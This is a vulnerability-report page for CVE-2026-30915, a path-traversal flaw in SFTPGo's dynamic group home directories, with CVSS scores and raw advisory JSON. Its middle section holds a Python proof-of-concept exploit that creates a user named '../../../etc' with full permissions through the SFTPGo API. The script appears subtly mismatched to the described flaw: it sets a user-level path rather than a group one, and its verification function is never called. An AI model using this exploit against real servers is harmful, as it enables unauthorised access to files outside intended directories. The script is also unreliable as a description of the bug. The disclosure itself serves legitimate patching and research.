Security Vulnerability Report
中文
CVE-2026-30915 CVSS 4.3 MEDIUM

CVE-2026-30915

Published: 2026-03-13 19:54:35
Last Modified: 2026-03-18 20:16:47

Description

SFTPGo is an open source, event-driven file transfer solution. SFTPGo versions before v2.7.1 contain an input validation issue in the handling of dynamic group paths, for example, home directories or key prefixes. When a group is configured with a dynamic home directory or key prefix using placeholders like %username%, the value replacing the placeholder is not strictly sanitized against relative path components. Consequently, if a user is created with a specially crafted username the resulting path may resolve to a parent directory instead of the intended sub-directory. This issue is fixed in version v2.7.1

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sftpgo_project:sftpgo:*:*:*:*:*:*:*:* - VULNERABLE
SFTPGo < v2.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-30915 PoC - SFTPGo Path Traversal in Dynamic Group Paths Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires authenticated access. """ import requests import json # Target SFTPGo server TARGET_URL = "http://target-sftpgo-server:8080" API_TOKEN = "your-api-token-here" def create_malicious_user(): """ Create a user with path traversal characters in username to exploit dynamic group path validation issue """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Malicious username containing path traversal sequence # This will cause the dynamic home directory to resolve to parent directory payload = { "username": "../../../etc", # Path traversal in username "password": "TestPass123!", "email": "[email protected]", "home_dir": "/sftpgo_data/users/%username%", # Dynamic path template "permissions": ["*"], # Full permissions (for demonstration) "quota_size": 1024, "max_sessions": 1 } try: response = requests.post( f"{TARGET_URL}/api/v2/users", headers=headers, json=payload, timeout=10 ) if response.status_code == 201: print("[+] Malicious user created successfully") print(f"[+] Username: {payload['username']}") print(f"[+] Expected home dir: /sftpgo_data/users/{payload['username']}") print("[+] Actual resolved path may be: /sftpgo_data/../etc") return True else: print(f"[-] Failed to create user: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_path_traversal(user_id): """ Verify if the path traversal succeeded by checking user's actual home directory """ headers = { "Authorization": f"Bearer {API_TOKEN}" } try: response = requests.get( f"{TARGET_URL}/api/v2/users/{user_id}", headers=headers, timeout=10 ) if response.status_code == 200: user_data = response.json() actual_home = user_data.get("home_dir", "") print(f"[+] User home directory: {actual_home}") # Check if path traversal occurred if ".." in actual_home: print("[!] Path traversal detected in home directory") return True except requests.exceptions.RequestException as e: print(f"[-] Verification failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-30915 - SFTPGo Path Traversal PoC") print("=" * 60) create_malicious_user()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30915", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:35.410", "lastModified": "2026-03-18T20:16:46.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SFTPGo is an open source, event-driven file transfer solution. SFTPGo versions before v2.7.1 contain an input validation issue in the handling of dynamic group paths, for example, home directories or key prefixes. When a group is configured with a dynamic home directory or key prefix using placeholders like %username%, the value replacing the placeholder is not strictly sanitized against relative path components. Consequently, if a user is created with a specially crafted username the resulting path may resolve to a parent directory instead of the intended sub-directory. This issue is fixed in version v2.7.1"}, {"lang": "es", "value": "SFTPGo es una solución de transferencia de archivos de código abierto y basada en eventos. Las versiones de SFTPGo anteriores a la v2.7.1 contienen un problema de validación de entrada en el manejo de rutas de grupo dinámicas, por ejemplo, directorios de inicio o prefijos de clave. Cuando un grupo se configura con un directorio de inicio o prefijo de clave dinámico utilizando marcadores de posición como %username%, el valor que reemplaza el marcador de posición no se sanea estrictamente contra componentes de ruta relativa. En consecuencia, si se crea un usuario con un nombre de usuario especialmente diseñado, la ruta resultante puede resolverse en un directorio padre en lugar del subdirectorio previsto. Este problema se corrige en la versión v2.7.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sftpgo_project:sftpgo:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.7.1", "matchCriteriaId": "983B6DD7-63A7-4C3E-92A2-67AA7B363ECB"}]}]}], "references": [{"url": "https://github.com/drakkan/sftpgo/security/advisories/GHSA-m83q-5wr4-4gfp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}